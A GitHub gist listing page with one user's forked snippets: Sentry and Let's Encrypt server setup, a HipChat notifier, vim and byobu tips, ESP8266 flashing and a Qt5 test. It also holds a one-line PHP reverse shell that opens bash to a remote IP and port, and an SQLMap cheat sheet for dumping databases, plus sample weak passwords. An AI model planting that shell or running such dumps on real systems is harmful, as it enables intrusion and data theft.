Skip to content

Instantly share code, notes, and snippets.

@XaviTorello
XaviTorello / gist:76f81a77064b76c1b6c5
Created February 20, 2016 18:21 — forked from ebuildy/gist:5d4ad0998848eaefdad8
Setup sentry logger on a fresh Ubuntu server
sudo apt-get update
sudo apt-get install python-virtualenv
sudo apt-get install python-dev
sudo apt-get install postgresql
sudo apt-get install postgresql-server-dev-9.3
sudo apt-get install redis-server
sudo -u postgres createuser -s sentry
sudo -u postgres psql -c "alter user sentry with password 'sentry';"
@XaviTorello
XaviTorello / hipchat-v2.sh
Last active February 22, 2016 10:50 — forked from danriti/hipchat-v2.sh
HipChat API v2 - Send a message to a room using cURL
#!/bin/bash
# Call it with $ ./hipchat-v2.sh "MESSGE" [STATUS | NOTIFICATION_TYPE]
# , optional parameters
# STATUS = 'w|c|o|u'
# NOTIFICATION_TYPE = "PROBLEM|RECOVERY|FLAPPING*|DOWNTIME*"
#
# Set the ROOM_ID & AUTH_TOKEN variables below.
# Ready to be integrated on Shinken / Nagios / Centreon as a new notification system
# Further instructions at https://www.hipchat.com/docs/apiv2/auth
import struct
from binascii import b2a_base64 as e64
from binascii import a2b_base64 as d64
import scrypt
import Crypto.Random
random = Crypto.Random.new().read
from passlib.utils import consteq
_PARAMS = struct.Struct("!BBBB")
@XaviTorello
XaviTorello / letsencrypt.md
Created February 6, 2017 10:04 — forked from xrstf/letsencrypt.md
Let's Encrypt on Ubuntu 14.04, nginx with webroot auth

Let's Encrypt on Ubuntu 14.04, nginx with webroot auth

This document details how I setup LE on my server. Firstly, install the client as described on http://letsencrypt.readthedocs.org/en/latest/using.html and make sure you can execute it. I put it in /root/letsencrypt.

As it is not possible to change the ports used for the standalone authenticator and I already have a nginx running on port 80/443, I opted to use the webroot method for each of my domains (note that LE does not issue wildcard certificates by design, so you probably want to get a cert for www.example.com and example.com).

Configuration

For this, I placed config files into etc/letsencrypt/configs, named after <domain>.conf. The files are simple:

@XaviTorello
XaviTorello / disable_vim_auto_visual_on_mouse.txt
Created October 20, 2017 07:43 — forked from u0d7i/disable_vim_auto_visual_on_mouse.txt
Disable vim automatic visual mode on mouse select
Disable vim automatic visual mode on mouse select
issue: :set mouse-=a
add to ~/.vimrc: set mouse-=a
@XaviTorello
XaviTorello / sqlmap-cheat-sheet.md
Created December 15, 2017 17:19 — forked from jkullick/sqlmap-cheat-sheet.md
SQLMap Cheat Sheet
# Enumerate databases
sqlmap --dbms=mysql -u "$URL" --dbs

# Enumerate tables
sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" --tables

# Dump table data
sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" -T "$TABLE" --dump
@XaviTorello
XaviTorello / shell.php
Created December 17, 2017 03:47 — forked from rshipp/shell.php
A tiny PHP/bash reverse shell.
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'");
@XaviTorello
XaviTorello / arduino_flash_esp8266.md
Created December 30, 2017 19:34 — forked from spacehuhn/arduino_flash_esp8266.md
Flash ESP8266 over an Arduino

How to flash your ESP8266 without a USB-Serial adapter but with an Arduino.

First be sure everything is connected correcly:

Arduino ESP82666
TX RX
RX TX
GND GND
GND GPIO-15
@XaviTorello
XaviTorello / test_show_qt5_window.py
Last active April 11, 2018 18:57 — forked from ecarreras/test_show_qt_window.py
QT5 testing script
from PyQt5.QtWidgets import QApplication, QMainWindow, QDialog, QHBoxLayout
#from PyQt5.QtCore import SIGNAL
from Koo.Rpc import Rpc
from Koo.Common import Api
from Koo.Common import Localization
Localization.initializeTranslations()
from Koo.Dialogs import WindowService
x = Rpc.session.login('http://admin:admin@localhost:8069', 'test_1519123854')
@XaviTorello
XaviTorello / byobuCommands
Created June 7, 2018 13:40 — forked from jshaw/byobuCommands
Byobu Commands
Byobu Commands
==============
byobu Screen manager
Level 0 Commands (Quick Start)
------------------------------
<F2> Create a new window